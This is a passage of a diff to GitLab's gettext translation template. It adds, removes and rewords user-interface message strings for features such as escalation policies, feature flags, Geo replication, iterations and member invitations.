msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11807,6 +11615,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11828,6 +11639,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11846,15 +11660,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -12043,7 +11854,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -12094,7 +11905,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -12103,6 +11914,9 @@ msgstr ""
msgid "Done"
msgstr ""
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr ""
@@ -12319,9 +12133,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -12355,9 +12166,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12418,6 +12226,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12547,6 +12358,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12556,13 +12370,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12643,13 +12460,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12667,6 +12481,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12682,9 +12499,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12694,9 +12508,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12826,6 +12637,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12991,9 +12805,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13474,7 +13285,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13483,30 +13294,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13516,6 +13351,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13552,9 +13396,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13701,7 +13542,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13722,9 +13563,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13821,9 +13659,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13842,9 +13677,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -14130,9 +13962,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -14165,9 +13994,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -14216,9 +14042,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -14249,9 +14072,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -14267,9 +14087,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -14309,24 +14126,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -14336,9 +14141,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14425,9 +14227,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14443,6 +14242,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14509,9 +14311,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14680,6 +14479,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14701,10 +14503,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14908,159 +14707,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -15151,6 +14812,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -15250,9 +14914,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -15325,6 +14986,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -15334,6 +15001,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -15364,9 +15034,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -15388,6 +15055,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15928,9 +15604,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15976,6 +15649,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15997,9 +15679,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -16030,6 +15709,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -16099,13 +15781,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -16141,9 +15820,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -16456,18 +16132,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16492,6 +16165,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -16531,13 +16207,13 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
-msgid "Groups"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
msgstr ""
-msgid "Groups (%{count})"
+msgid "Groups"
msgstr ""
-msgid "Groups (%{groups})"
+msgid "Groups (%{count})"
msgstr ""
msgid "Groups and projects"
@@ -16720,6 +16396,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16839,6 +16518,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16925,9 +16607,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -17075,6 +16754,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -17259,9 +16941,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17768,13 +17447,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17864,9 +17546,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -18020,6 +17699,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -18032,6 +17723,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -18071,6 +17765,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -18086,9 +17783,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -18101,12 +17795,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -18130,6 +17818,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -18172,9 +17863,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -18214,12 +17902,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -18244,9 +17944,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -18397,6 +18094,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -18472,25 +18172,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18499,13 +18181,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What can I do with the %{role} permission level?"
-msgstr ""
-
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18526,7 +18205,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18535,9 +18214,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18562,6 +18238,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18973,18 +18652,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18994,6 +18691,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -19006,6 +18706,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -19024,9 +18730,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19126,9 +18838,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19177,6 +18895,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -19267,9 +18988,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -19297,18 +19015,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
